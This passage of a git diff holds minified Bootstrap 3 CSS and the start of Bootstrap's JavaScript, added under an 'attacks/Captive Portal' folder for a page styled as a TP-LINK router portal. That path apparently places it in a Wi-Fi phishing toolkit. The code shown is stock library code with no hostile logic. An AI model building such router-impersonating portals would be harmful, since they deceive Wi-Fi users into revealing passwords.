:first-child>th,.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.list-group,.panel-group .panel-heading+.panel-collapse>.panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:.5}button.close{-webkit-appearance:none;padding:0;cursor:pointer;background:0;border:0}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out;-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);-o-transform:translate(0,-25%);transform:translate(0,-25%)}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5)}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:.5}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media(min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media(min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;filter:alpha(opacity=0);opacity:0;line-break:auto}.tooltip.in{filter:alpha(opacity=90);opacity:.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{right:5px;bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);line-break:auto}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#fff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#fff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#fff}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>a>img,.carousel-inner>.item>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-inner>.item.active.right,.carousel-inner>.item.next{left:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.carousel-inner>.item.active.left,.carousel-inner>.item.prev{left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.carousel-inner>.item.active,.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right{left:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6);background-color:rgba(0,0,0,0);filter:alpha(opacity=50);opacity:.5}.carousel-control.left{background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,.0001)));background-image:linear-gradient(to right,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000',endColorstr='#00000000',GradientType=1);background-repeat:repeat-x}.carousel-control.right{right:0;left:auto;background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.0001)),to(rgba(0,0,0,.5)));background-image:linear-gradient(to right,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000',endColorstr='#80000000',GradientType=1);background-repeat:repeat-x}.carousel-control:focus,.carousel-control:hover{color:#fff;text-decoration:none;filter:alpha(opacity=90);outline:0;opacity:.9}.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{position:absolute;top:50%;z-index:5;display:inline-block;margin-top:-10px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{left:50%;margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{right:50%;margin-right:-10px}.carousel-control .icon-next,.carousel-control .icon-prev{width:20px;height:20px;font-family:serif;line-height:1}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000\9;background-color:rgba(0,0,0,0);border:1px solid #fff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{width:30px;height:30px;margin-top:-10px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-10px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right !important}.pull-left{float:left !important}.hide{display:none !important}.show{display:block !important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none !important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-lg,.visible-md,.visible-sm,.visible-xs{display:none !important}.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block{display:none !important}@media(max-width:767px){.visible-xs{display:block !important}table.visible-xs{display:table !important}tr.visible-xs{display:table-row !important}td.visible-xs,th.visible-xs{display:table-cell !important}}@media(max-width:767px){.visible-xs-block{display:block !important}}@media(max-width:767px){.visible-xs-inline{display:inline !important}}@media(max-width:767px){.visible-xs-inline-block{display:inline-block !important}}@media(min-width:768px) and (max-width:991px){.visible-sm{display:block !important}table.visible-sm{display:table !important}tr.visible-sm{display:table-row !important}td.visible-sm,th.visible-sm{display:table-cell !important}}@media(min-width:768px) and (max-width:991px){.visible-sm-block{display:block !important}}@media(min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline !important}}@media(min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block !important}}@media(min-width:992px) and (max-width:1199px){.visible-md{display:block !important}table.visible-md{display:table !important}tr.visible-md{display:table-row !important}td.visible-md,th.visible-md{display:table-cell !important}}@media(min-width:992px) and (max-width:1199px){.visible-md-block{display:block !important}}@media(min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline !important}}@media(min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block !important}}@media(min-width:1200px){.visible-lg{display:block !important}table.visible-lg{display:table !important}tr.visible-lg{display:table-row !important}td.visible-lg,th.visible-lg{display:table-cell !important}}@media(min-width:1200px){.visible-lg-block{display:block !important}}@media(min-width:1200px){.visible-lg-inline{display:inline !important}}@media(min-width:1200px){.visible-lg-inline-block{display:inline-block !important}}@media(max-width:767px){.hidden-xs{display:none !important}}@media(min-width:768px) and (max-width:991px){.hidden-sm{display:none !important}}@media(min-width:992px) and (max-width:1199px){.hidden-md{display:none !important}}@media(min-width:1200px){.hidden-lg{display:none !important}}.visible-print{display:none !important}@media print{.visible-print{display:block !important}table.visible-print{display:table !important}tr.visible-print{display:table-row !important}td.visible-print,th.visible-print{display:table-cell !important}}.visible-print-block{display:none !important}@media print{.visible-print-block{display:block !important}}.visible-print-inline{display:none !important}@media print{.visible-print-inline{display:inline !important}}.visible-print-inline-block{display:none !important}@media print{.visible-print-inline-block{display:inline-block !important}}@media print{.hidden-print{display:none !important}} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.js b/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.js new file mode 100755 index 0000000..80828ab --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.js @@ -0,0 +1 @@ +if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1||b[0]>2)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 3")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){return a(b.target).is(this)?b.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.6",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a(f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.6",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")?(c.prop("checked")&&(a=!1),b.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==c.prop("type")&&(c.prop("checked")!==this.$element.hasClass("active")&&(a=!1),this.$element.toggleClass("active")),c.prop("checked",this.$element.hasClass("active")),a&&c.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target);d.hasClass("btn")||(d=d.closest(".btn")),b.call(d,"toggle"),a(c.target).is('input[type="radio"]')||a(c.target).is('input[type="checkbox"]')||c.preventDefault()}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.6",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d="prev"==a&&0===c||"next"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e="prev"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){return this.sliding?void 0:this.slide("next")},c.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i=this;if(f.hasClass("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&/show|hide/.test(b)&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a('[data-toggle="collapse"][href="#'+b.id+'"],[data-toggle="collapse"][data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.6",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":e.data();c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function 